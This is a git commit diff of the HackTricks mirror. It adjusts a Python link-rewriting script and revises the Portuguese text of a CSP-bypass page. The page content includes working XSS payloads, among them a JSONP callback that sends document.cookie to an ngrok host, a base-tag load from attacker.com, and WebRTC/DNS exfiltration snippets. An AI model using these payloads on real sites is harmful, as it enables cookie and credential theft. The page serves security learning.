mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/external-recon-meth
This commit is contained in:
Translator
parent
dfad49d91e
commit
9f1f1a9bf8
@ -78,6 +78,9 @@ def ref(matchobj):
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if href.endswith("/README.md"):
|
||||
href = href.replace("/README.md", "/index.html")
|
||||
|
||||
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})
|
||||
|
||||
@ -64,7 +64,7 @@ object-src 'none';
|
||||
|
||||
- `*`: Permite todas as URLs, exceto aquelas com esquemas `data:`, `blob:`, `filesystem:`.
|
||||
- `'self'`: Permite carregamento do mesmo domínio.
|
||||
- `'data'`: Permite que recursos sejam carregados via o esquema de dados (por exemplo, imagens codificadas em Base64).
|
||||
- `'data'`: Permite que recursos sejam carregados via esquema de dados (por exemplo, imagens codificadas em Base64).
|
||||
- `'none'`: Bloqueia o carregamento de qualquer fonte.
|
||||
- `'unsafe-eval'`: Permite o uso de `eval()` e métodos semelhantes, não recomendado por razões de segurança.
|
||||
- `'unsafe-hashes'`: Habilita manipuladores de eventos inline específicos.
|
||||
@ -93,7 +93,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
- `'host'`: Especifica um host específico, como `example.com`.
|
||||
- `https:`: Restringe URLs àquelas que usam HTTPS.
|
||||
- `blob:`: Permite que recursos sejam carregados de URLs Blob (por exemplo, URLs Blob criadas via JavaScript).
|
||||
- `filesystem:`: Permite que recursos sejam
|
||||
- `filesystem:`: Permite que recursos sejam carregados do sistema de arquivos.
|
||||
- `'report-sample'`: Inclui uma amostra do código que viola a política no relatório de violação (útil para depuração).
|
||||
- `'strict-origin'`: Semelhante a 'self', mas garante que o nível de segurança do protocolo das fontes corresponda ao documento (apenas origens seguras podem carregar recursos de origens seguras).
|
||||
- `'strict-origin-when-cross-origin'`: Envia URLs completas ao fazer solicitações de mesma origem, mas apenas envia a origem quando a solicitação é de origem cruzada.
|
||||
- `'unsafe-allow-redirects'`: Permite que recursos sejam carregados que redirecionarão imediatamente para outro recurso. Não recomendado, pois enfraquece a segurança.
|
||||
|
||||
## Regras CSP Inseguras
|
||||
|
||||
### 'unsafe-inline'
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
@ -147,11 +155,11 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
Se você puder fazer upload de um arquivo JS, pode contornar este CSP:
|
||||
|
||||
Carga útil funcional:
|
||||
Payload funcional:
|
||||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
No entanto, é altamente provável que o servidor **valide o arquivo enviado** e só permita que você **envie tipos determinados de arquivos**.
|
||||
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie tipos determinados de arquivos**.
|
||||
|
||||
Além disso, mesmo que você conseguisse enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não seria suficiente porque alguns servidores, como o servidor Apache, **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome **rejeitam executar código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem erros. Por exemplo, em um CTF, aprendi que **o Apache não conhece** a extensão _**.wave**_, portanto, não a serve com um **tipo MIME como audio/\***.
|
||||
|
||||
@ -159,7 +167,7 @@ A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir en
|
||||
|
||||
### Form-action
|
||||
|
||||
Se não for possível injetar JS, você ainda poderia tentar exfiltrar, por exemplo, credenciais **injetando uma ação de formulário** (e talvez esperando que gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um [**exemplo neste relatório**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, observe que `default-src` não cobre ações de formulário.
|
||||
Se não for possível injetar JS, você ainda pode tentar exfiltrar, por exemplo, credenciais **injetando uma ação de formulário** (e talvez esperando que gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um [**exemplo neste relatório**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, observe que `default-src` não cobre ações de formulário.
|
||||
|
||||
### Endpoints de Terceiros + ('unsafe-eval')
|
||||
|
||||
@ -266,7 +274,7 @@ Abusando \*.google.com/script.google.com
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista de permissões pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, carga útil em funcionamento:
|
||||
Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista de permissões pode ser contornado usando JSONP. Endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, payload funcional:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
@ -285,15 +293,15 @@ A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Open Re
|
||||
Como descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP, e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
|
||||
|
||||
| Entidade | Domínio Permitido | Capacidades |
|
||||
| ------------------- | ------------------------------------------ | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| ------------------- | ------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa contornar o CSP registrando-se no serviço de terceiros e, ou exfiltrando dados para esse serviço ou executando código.
|
||||
|
||||
@ -335,7 +343,7 @@ O navegador, em última análise, carregará `https://example.com/scripts/angula
|
||||
|
||||
Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, que está em conformidade com CSP.
|
||||
|
||||
∑, eles o decodificarão, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, que é equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
∑, eles irão decodificá-lo, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, que é equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Ao **explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas**.
|
||||
|
||||
@ -353,7 +361,7 @@ Exemplo Online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
|
||||
|
||||
Se a diretiva **base-uri** estiver ausente, você pode abusar disso para realizar uma [**injeção de marcação pendente**](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **tag** **base** para fazer com que ela **carregue** o script do **seu próprio servidor, alcançando um XSS.**\
|
||||
Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **tag base** para fazer com que ela **carregue** o script do **seu próprio servidor, alcançando um XSS.**\
|
||||
Se a página vulnerável for carregada com **httpS**, use uma URL httpS na base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
@ -375,7 +383,7 @@ Este trecho destaca o uso da diretiva `ng-focus` para acionar o evento, empregan
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
Uma política CSP que permite domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de callback e certas classes vulneráveis. Mais informações sobre esta técnica podem ser encontradas em um guia detalhado disponível neste [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||||
Uma política CSP que permite listas de domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de callback e certas classes vulneráveis. Mais informações sobre esta técnica podem ser encontradas em um guia detalhado disponível neste [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||||
|
||||
Payloads funcionais:
|
||||
```html
|
||||
@ -389,7 +397,7 @@ Outros endpoints de execução arbitrária JSONP podem ser encontrados em [**aqu
|
||||
|
||||
### Bypass via Redirecionamento
|
||||
|
||||
O que acontece quando o CSP encontra redirecionamento do lado do servidor? Se o redirecionamento levar a uma origem diferente que não é permitida, ainda falhará.
|
||||
O que acontece quando o CSP encontra redirecionamento do lado do servidor? Se o redirecionamento levar a uma origem diferente que não é permitida, ainda assim falhará.
|
||||
|
||||
No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se o redirecionamento levar a um caminho diferente, ele pode contornar as restrições originais.
|
||||
|
||||
@ -459,7 +467,7 @@ Se um **parâmetro** enviado por você está sendo **colado dentro** da **declar
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
Porque esta diretiva irá **sobrescrever as diretivas existentes de script-src**.\
|
||||
Porque esta diretiva irá **substituir as diretivas existentes de script-src**.\
|
||||
Você pode encontrar um exemplo aqui: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
@ -472,7 +480,7 @@ Exemplo: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3
|
||||
Note a falta da diretiva `'unsafe-inline'`\
|
||||
Desta vez você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe`. Desta vez você vai fazer a vítima acessar a página de onde você quer extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página leva para carregar**, você pode extrair as informações que precisa.
|
||||
|
||||
Desta vez uma **flag** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi, a **resposta** leva **mais tempo** devido à função de sleep. Então, você poderá extrair a flag:
|
||||
Desta vez uma **flag** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi a **resposta** leva **mais tempo** devido à função de sleep. Então, você poderá extrair a flag:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -536,11 +544,11 @@ run()
|
||||
|
||||
Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, ao ser arrastado e solto ou clicado, seria executado no contexto da janela web atual, **contornando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
|
||||
|
||||
Para mais informações [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
Para mais informações [**ver o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### Bypass de CSP restringindo o CSP
|
||||
|
||||
Em [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é contornado ao injetar dentro de um iframe permitido um CSP mais restritivo que não permitia carregar um arquivo JS específico que, então, via **prototype pollution** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
|
||||
Em [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é contornado ao injetar dentro de um iframe permitido um CSP mais restritivo que não permitia carregar um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering**, permitia **abusar de um script diferente para carregar um script arbitrário**.
|
||||
|
||||
Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
|
||||
```html
|
||||
@ -558,7 +566,7 @@ content="script-src 'self'
|
||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
|
||||
```
|
||||
### JS exfiltração com Content-Security-Policy-Report-Only
|
||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||
|
||||
Se você conseguir fazer o servidor responder com o cabeçalho **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez devido a um CRLF), você poderia direcioná-lo para o seu servidor e se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`<script>`** e como é altamente provável que `unsafe-inline` não seja permitido pelo CSP, isso irá **gerar um erro de CSP** e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir de `Content-Security-Policy-Report-Only`.
|
||||
|
||||
@ -577,7 +585,7 @@ document.querySelector("DIV").innerHTML =
|
||||
|
||||
É interessante notar que navegadores como Chrome e Firefox têm comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a um possível vazamento de informações sensíveis devido a comportamentos indefinidos.
|
||||
|
||||
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na alteração do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar este método:
|
||||
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na modificação do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar este método:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
@ -596,13 +604,13 @@ De acordo com a [**última técnica comentada neste vídeo**](https://www.youtub
|
||||
### Sobrecarga do buffer de resposta do PHP
|
||||
|
||||
O PHP é conhecido por **bufferizar a resposta em 4096** bytes por padrão. Portanto, se o PHP estiver mostrando um aviso, fornecendo **dados suficientes dentro dos avisos**, a **resposta** será **enviada** **antes** do **cabeçalho CSP**, fazendo com que o cabeçalho seja ignorado.\
|
||||
Então, a técnica consiste basicamente em **preencher o buffer de resposta com avisos** para que o cabeçalho CSP não seja enviado.
|
||||
Assim, a técnica consiste basicamente em **preencher o buffer de resposta com avisos** para que o cabeçalho CSP não seja enviado.
|
||||
|
||||
Ideia de [**este writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Reescrever Página de Erro
|
||||
|
||||
De [**este writeup**](https://blog.ssrf.kr/69), parece que era possível contornar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.
|
||||
De [**este writeup**](https://blog.ssrf.kr/69), parece que foi possível contornar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -694,7 +702,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
### CredentialsContainer
|
||||
|
||||
O popup de credenciais envia uma solicitação DNS para o iconURL sem ser restrito pela página. Ele só funciona em um contexto seguro (HTTPS) ou no localhost.
|
||||
O popup de credenciais envia uma solicitação DNS para o iconURL sem ser restrito pela página. Funciona apenas em um contexto seguro (HTTPS) ou no localhost.
|
||||
```javascript
|
||||
navigator.credentials.store(
|
||||
new FederatedCredential({
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user